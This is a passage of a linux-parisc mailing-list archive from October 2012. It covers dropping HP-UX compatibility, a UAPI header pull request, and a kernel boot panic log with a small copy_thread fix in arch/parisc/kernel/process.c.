 create mode 100644 include/uapi/asm-generic/kvm_para.h
 rename include/{ => uapi}/asm-generic/mman-common.h (100%)
 rename include/{ => uapi}/asm-generic/mman.h (100%)
 rename include/{ => uapi}/asm-generic/msgbuf.h (100%)
 create mode 100644 include/uapi/asm-generic/param.h
 rename include/{ => uapi}/asm-generic/poll.h (100%)
 rename include/{ => uapi}/asm-generic/posix_types.h (100%)
 create mode 100644 include/uapi/asm-generic/resource.h
 rename include/{ => uapi}/asm-generic/sembuf.h (100%)
 rename include/{ => uapi}/asm-generic/setup.h (100%)
 rename include/{ => uapi}/asm-generic/shmbuf.h (100%)
 rename include/{ => uapi}/asm-generic/shmparam.h (100%)
 create mode 100644 include/uapi/asm-generic/siginfo.h
 rename include/{ => uapi}/asm-generic/signal-defs.h (100%)
 create mode 100644 include/uapi/asm-generic/signal.h
 rename include/{ => uapi}/asm-generic/socket.h (100%)
 rename include/{ => uapi}/asm-generic/sockios.h (100%)
 rename include/{ => uapi}/asm-generic/stat.h (100%)
 create mode 100644 include/uapi/asm-generic/statfs.h
 rename include/{ => uapi}/asm-generic/swab.h (100%)
 rename include/{ => uapi}/asm-generic/termbits.h (100%)
 create mode 100644 include/uapi/asm-generic/termios.h
 rename include/{ => uapi}/asm-generic/types.h (100%)
 rename include/{ => uapi}/asm-generic/ucontext.h (100%)
 create mode 100644 include/uapi/asm-generic/unistd.h
.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Thu, 4 Oct 2012 20:00:18 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <BLU0-SMTP69DACA2770F3C2181A289978B0@phx.gbl>
References: <20121004045150.GH23473@ZenIV.linux.org.uk> <20121004051359.GA24664@ZenIV.linux.org.uk> <1349344936.2706.10.camel@dabdike.int.hansenpartnership.com> <20121004122201.GI23473@ZenIV.linux.org.uk> <1349355474.2706.21.camel@dabdike.int.hansenpartnership.com> <CAE2sS1jrFOgwt3xRsnDv5uQ7kYx16vy+nEeK5oGpD3Yd-7fVfQ@mail.gmail.com> <20121004140759.GK23473@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349399600 6777 80.91.229.3 (5 Oct 2012 01:13:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Oct 2012 01:13:20 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 03:13:25 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TJwTg-0008Lv-UP
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 03:13:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755260Ab2JEBNO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Oct 2012 21:13:14 -0400
Original-Received: from blu0-omc4-s32.blu0.hotmail.com ([65.55.111.171]:39807 "EHLO
	blu0-omc4-s32.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755107Ab2JEBNO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Oct 2012 21:13:14 -0400
Original-Received: from BLU0-SMTP6 ([65.55.111.135]) by blu0-omc4-s32.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 4 Oct 2012 18:13:13 -0700
X-Originating-IP: [69.158.129.29]
X-EIP: [qmA7DVQgg3Zbvhq+ZW/ehY/V5F2OCHJm]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.29]) by BLU0-SMTP6.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 4 Oct 2012 18:13:12 -0700
In-Reply-To: <20121004140759.GK23473@ZenIV.linux.org.uk>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 05 Oct 2012 01:13:12.0684 (UTC) FILETIME=[971062C0:01CDA296]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4601
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4601>

On 4-Oct-12, at 10:07 AM, Al Viro wrote:

> On Thu, Oct 04, 2012 at 09:30:16AM -0400, Carlos O'Donell wrote:
>> On Thu, Oct 4, 2012 at 8:57 AM, James Bottomley
>> <James.Bottomley@hansenpartnership.com> wrote:
>>>> Unless I'm missing something really subtle, it looks like HPUX  
>>>> compat had
>>>> been very noticably broken since at least 2002.  Comments?
>>>
>>> I think it probably has.  I don't believe there's anyone left with  
>>> hpux
>>> binaries actually checking it.
>>
>> Was the HPUX support ever completed?
>>
>> I had HPUX/Linux dual-boot on one of my systems and I was never able
>> to run an HPUX binary correctly.
>>
>> Someone with the time and inclination is all that is missing to
>> cleanup the rotten HPUX bits.
>>
>> There is no need to keep any of it around, that's what version  
>> control is for.
>
> FWIW, parisc seems to be the last architecture to keep such thing -  
> sparc
> and mips had dropped SunOS/Solaris/IRIX compat, iBCS* is long-dead  
> (and hadn't
> been in mainline kernel anyway).  Alpha might still be able to run  
> some OSF
> binaries, but there the situation is different - no alternative  
> syscall
> entry codepath, Linux just uses the same ABI and shares syscall  
> numbers
> where possible...


I believe the HP-UX support should be removed.

I think it unlikely that anyone will complete the HP-UX  
implementation.  For example,
HP-UX has a 64-bit context for 32-bit applications when running a wide  
PA2.0
kernel.  Linux only has a 32-bit context.  As a result, it's not  
possible to exploit the 64-bit
registers and instructions in Linux.  We also don't have a 64-bit  
linux port, so 64-bit HP-UX
support is impossible.  There are quite a few other issues.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] Disintegrate UAPI for parisc
Date: Fri, 05 Oct 2012 10:23:35 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <1349429015.3638.25.camel@dabdike.int.hansenpartnership.com>
References: <17400.1349380299@warthog.procyon.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349429020 28139 80.91.229.3 (5 Oct 2012 09:23:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Oct 2012 09:23:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: David Howells <dhowells@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 11:23:46 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TK48H-0001zn-Rz
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 11:23:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754918Ab2JEJXj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Oct 2012 05:23:39 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50803 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754870Ab2JEJXi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Oct 2012 05:23:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4F7EB8EE104;
	Fri,  5 Oct 2012 02:23:38 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id nIYqCccRtO74; Fri,  5 Oct 2012 02:23:38 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 42F4A8EE0CE;
	Fri,  5 Oct 2012 02:23:37 -0700 (PDT)
In-Reply-To: <17400.1349380299@warthog.procyon.org.uk>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4602 gmane.linux.kernel:1370655
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4602>

On Thu, 2012-10-04 at 20:51 +0100, David Howells wrote:
> Can you merge the following branch into the parisc tree please.

Just to confirm: this is for testing purposes only ... you'll be sending
the pull requests to Linus?  Because otherwise I'll need a signed pull
request from you.

I should be able to get around to testing this after I've looked at some
of the signal/kernel_thread/execve patches for Al Viro.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Fri, 05 Oct 2012 12:07:48 +0100
Lines: 145
Approved: news@gmane.org
Message-ID: <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
	 <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349435282 16326 80.91.229.3 (5 Oct 2012 11:08:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Oct 2012 11:08:02 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 13:08:05 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TK5l8-0002sm-Nc
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 13:07:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932238Ab2JELHw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Oct 2012 07:07:52 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50934 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932223Ab2JELHv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Oct 2012 07:07:51 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E2B1D8EE104;
	Fri,  5 Oct 2012 04:07:50 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id n5Z8zaux4iAI; Fri,  5 Oct 2012 04:07:50 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id CF85D8EE0CE;
	Fri,  5 Oct 2012 04:07:49 -0700 (PDT)
In-Reply-To: <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4603
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4603>

I tried out the code at

git://git.kernel.org/pub/scm/linux/kernel/git/viro/signal.git
experimental-kernel_thread

and it gives me this panic on boot.

James

---

PALO(F0) partition contains:
PALO is formatted EXT2/3
Command line for kernel: ' root=/dev/sda3 panic=5 console=ttyS1 palo_kernel=1/vmlinux-test'
Selected kernel: /vmlinux-test from partition 1
Selected ramdisk: /initrd.img-test from partition 1
ELF64 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 5984256 mediaptr 0x1000
Segment 1 load 00741cf0 size 541128 mediaptr 0x5b6cf0
Segment 2 load 007c8000 size 190432 mediaptr 0x63b000
Segment 3 load 007f7000 size 140928 mediaptr 0x66a000
Loading ramdisk 2849281 bytes @ 3fd36000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Linux version 3.6.0+ (jejb@ion) (gcc version 4.2.4 (Debian 4.2.4-6)) #35 SMP Fri Oct 5 03:42:07 PDT 2012
[    0.000000] unwind_init: start = 0x405b7000, end = 0x405f15a0, entries = 14938
[    0.000000] WARNING: Out of order unwind entry! 00000000405b8590 and 00000000405b85a0
[    0.000000] WARNING: Out of order unwind entry! 00000000405b85a0 and 00000000405b85b0
[    0.000000] WARNING: Out of order unwind entry! 00000000405b9220 and 00000000405b9230
[    0.000000] WARNING: Out of order unwind entry! 00000000405b9230 and 00000000405b9240
[    0.000000] WARNING: Out of order unwind entry! 00000000405b9240 and 00000000405b9250
[    0.000000] WARNING: Out of order unwind entry! 00000000405b9250 and 00000000405b9260
[    0.000000] WARNING: Out of order unwind entry! 00000000405b9260 and 00000000405b9270
[    0.000000] WARNING: Out of order unwind entry! 00000000405b9270 and 00000000405b9280
[    0.000000] WARNING: Out of order unwind entry! 00000000405b9280 and 00000000405b9290
[    0.000000] WARNING: Out of order unwind entry! 00000000405b9290 and 00000000405b92a0
[    0.000000] WARNING: Out of order unwind entry! 00000000405b92c0 and 00000000405b92d0
[    0.000000] WARNING: Out of order unwind entry! 00000000405b92d0 and 00000000405b92e0
[    0.000000] WARNING: Out of order unwind entry! 00000000405b92e0 and 00000000405b92f0
[    0.000000] WARNING: Out of order unwind entry! 00000000405b92f0 and 00000000405b9300
[    0.000000] WARNING: Out of order unwind entry! 00000000405b9300 and 00000000405b9310
[    0.000000] WARNING: Out of order unwind entry! 00000000405b9310 and 00000000405b9320
[    0.000000] WARNING: Out of order unwind entry! 00000000405b9320 and 00000000405b9330
[    0.000000] WARNING: Out of order unwind entry! 00000000405b9330 and 00000000405b9340
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00008870 00000491 00000000 00000002 3e0505e7352af710 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000301
[    0.000000] CPUID vers 20 rev 4 (0x00000284)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/800/rp3440  
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
[    0.000000] Total Memory: 2046 MB
[    0.000000] initrd: 7fd36000-7ffeda01
[    0.000000] initrd: reserving 3fd36000-3ffeda01 (mem_max 7fe00000)
[    0.000000] PERCPU: Embedded 10 pages/cpu @0000000041942000 s9856 r8192 d22912 u40960
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 2 zonelists in Zone order, mobility grouping on.  Total pages: 516615
[    0.000000] Kernel command line:  root=/dev/sda3 panic=5 console=ttyS1 palo_kernel=1/vmlinux-test
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
[    0.000000] Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
[    0.000000] Memory: 2048728k/2095104k available (4030k kernel code, 46376k reserved, 1765k data, 328k init)
[    0.000000] virtual kernel memory layout:
    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    0.000000]     memory  : 0x0000000040000000 - 0x00000040bfe00000   (264190 MB)
    0.000000]       .init : 0x00000000407c8000 - 0x000000004081a000   ( 328 kB)
    0.000000]       .data : 0x00000000404efb10 - 0x00000000406a8f10   (1765 kB)
    0.000000]       .text : 0x0000000040100000 - 0x00000000404efb10   (4030 kB)
[    0.000000] SLUB: Genslabs=11, HWalign=64, Order=0-3, MinObjects=0, CPUs=8, Nodes=8
[    0.000000] Hierarchical RCU implementation.
[    0.000000]  CONFIG_RCU_FANOUT set to non-default value of 32
[    0.000000] NR_IRQS:128
[    0.000000] Console: colour dummy device 160x64
[    0.000000] Calibrating delay loop... 1594.36 BogoMIPS (lpj=3188736)
[    0.048000] pid_max: default: 32768 minimum: 301
[    0.048000] Security Framework initialized
[    0.048000] SELinux:  Disabled at boot.
[    0.048000] Mount-cache hash table entries: 256
[    0.056000] Initializing cgroup subsys cpuacct
[    0.056000] Initializing cgroup subsys devices
[    0.056000] Initializing cgroup subsys freezer
[    0.064000] Initializing cgroup subsys net_cls
[    0.064000] Initializing cgroup subsys blkio
[    0.304000] Backtrace:
[    0.304000]  [<00000000401435b8>] copy_process+0x9d8/0x1698
[    0.304000]  [<00000000401151a0>] fork_idle+0x60/0xc8
[    0.304000]  [<00000000407d0c70>] idle_threads_init+0xc0/0x130
[    0.304000]  [<00000000407d2520>] smp_init+0x30/0x158
[    0.304000]  [<00000000407c87c0>] kernel_init+0x158/0x390
[    0.304000]  [<0000000040104020>] end_fault_vector+0x20/0x3c
[    0.304000]  [<000000004011bb00>] _raw_spin_trylock+0x0/0x18
[    0.304000] 
[    0.304000] 
[    0.304000] Kernel Fault: Code=26 regs=000000007f84c850 (Addr=0000000000000018)
[    0.304000] 
[    0.304000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[    0.304000] PSW: 00001000000001001111111100001111 Not tainted
[    0.304000] r00-03  000000ff0804ff0f 00000000407c4a90 0000000040129270 000000007f85d410
[    0.304000] r04-07  00000000407a0290 0000000000000000 000000007f84c348 000000007f8a0000
[    0.304000] r08-11  0000000000000000 0000000000000100 000000004069f088 0000000000000000
[    0.304000] r12-15  0000000000000000 0000000000000000 0000000000000000 000000007f84c348
[    0.304000] r16-19  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    0.304000] r20-23  0000000000000006 000000007f85da30 0000000000000000 000000007f85d410
[    0.304000] r24-27  0000000000000000 0000000000000000 000000007f85d780 00000000407a0290
[    0.304000] r28-31  0000000040104000 000000007f84c820 000000007f84c850 000000007f8a0100
[    0.304000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    0.304000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    0.304000] 
[    0.304000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040129288 000000004012928c
[    0.304000]  IIR: 50bf0030    ISR: 0000000000000000  IOR: 0000000000000018
[    0.304000]  CPU:        0   CR30: 000000007f84c000 CR31: fffffff0f0e098e0
[    0.304000]  ORIG_R28: 0000000000000000
[    0.304000]  IAOQ[0]: copy_thread+0xf8/0x110
[    0.304000]  IAOQ[1]: copy_thread+0xfc/0x110
[    0.304000]  RP(r2): copy_thread+0xe0/0x110
[    0.304000] Backtrace:
[    0.304000]  [<00000000401435b8>] copy_process+0x9d8/0x1698
[    0.304000]  [<00000000401151a0>] fork_idle+0x60/0xc8
[    0.304000]  [<00000000407d0c70>] idle_threads_init+0xc0/0x130
[    0.304000]  [<00000000407d2520>] smp_init+0x30/0x158
[    0.304000]  [<00000000407c87c0>] kernel_init+0x158/0x390
[    0.304000]  [<0000000040104020>] end_fault_vector+0x20/0x3c
[    0.304000]  [<000000004011bb00>] _raw_spin_trylock+0x0/0x18
[    0.304000] 
[    0.304000] Kernel panic - not syncing: Kernel Fault
[    0.304000] Rebooting in 5 seconds..


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Fri, 05 Oct 2012 14:44:24 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
	 <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com>
	 <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349444673 1404 80.91.229.3 (5 Oct 2012 13:44:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Oct 2012 13:44:33 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 15:44:37 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TK8Cg-0004xb-Ih
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 15:44:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754802Ab2JENo2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Oct 2012 09:44:28 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51263 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754048Ab2JENo2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Oct 2012 09:44:28 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DF1CD8EE0E6;
	Fri,  5 Oct 2012 06:44:27 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id CTKQIff5Enpq; Fri,  5 Oct 2012 06:44:27 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 00C478EE0CE;
	Fri,  5 Oct 2012 06:44:26 -0700 (PDT)
In-Reply-To: <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4604
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4604>

On Fri, 2012-10-05 at 12:07 +0100, James Bottomley wrote:
> I tried out the code at
> 
> git://git.kernel.org/pub/scm/linux/kernel/git/viro/signal.git
> experimental-kernel_thread
> 
> and it gives me this panic on boot.

OK, found the fix:  the idle thread is a kernel thread, but it doesn't
come through kernel_thread().  The fix is to check for it (fortunately
it has the signal usp == 0).

I'm now getting as freeing the init memory, which then hangs, so I
suspect some type of execve failure trying to start the initrd... I'm
debugging.

James

---

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index a67f122..44e8534 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -254,7 +254,7 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 	extern void * const hpux_child_return;
 #endif
 
-	if (unlikely(p->flags & PF_KTHREAD)) {
+	if (unlikely((p->flags & PF_KTHREAD) && usp != 0)) {
 		memset(cregs, 0, sizeof(struct pt_regs));
 		/* kernel thread */
 		cregs->ksp = (unsigned long)stack + THREAD_SZ_ALGN;


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Fri, 05 Oct 2012 15:47:56 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <1349448476.3638.60.camel@dabdike.int.hansenpartnership.com>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
	 <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com>
	 <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com>
	 <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349448481 5484 80.91.229.3 (5 Oct 2012 14:48:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Oct 2012 14:48:01 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 16:48:07 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TK9CA-00006a-4w
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 16:48:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753600Ab2JEOsA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Oct 2012 10:48:00 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51387 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753216Ab2JEOr7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Oct 2012 10:47:59 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id EEE338EE0E6;
	Fri,  5 Oct 2012 07:47:58 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id oP-FEVFKVXpv; Fri,  5 Oct 2012 07:47:58 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 16DFA8EE0CE;
	Fri,  5 Oct 2012 07:47:57 -0700 (PDT)
In-Reply-To: <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
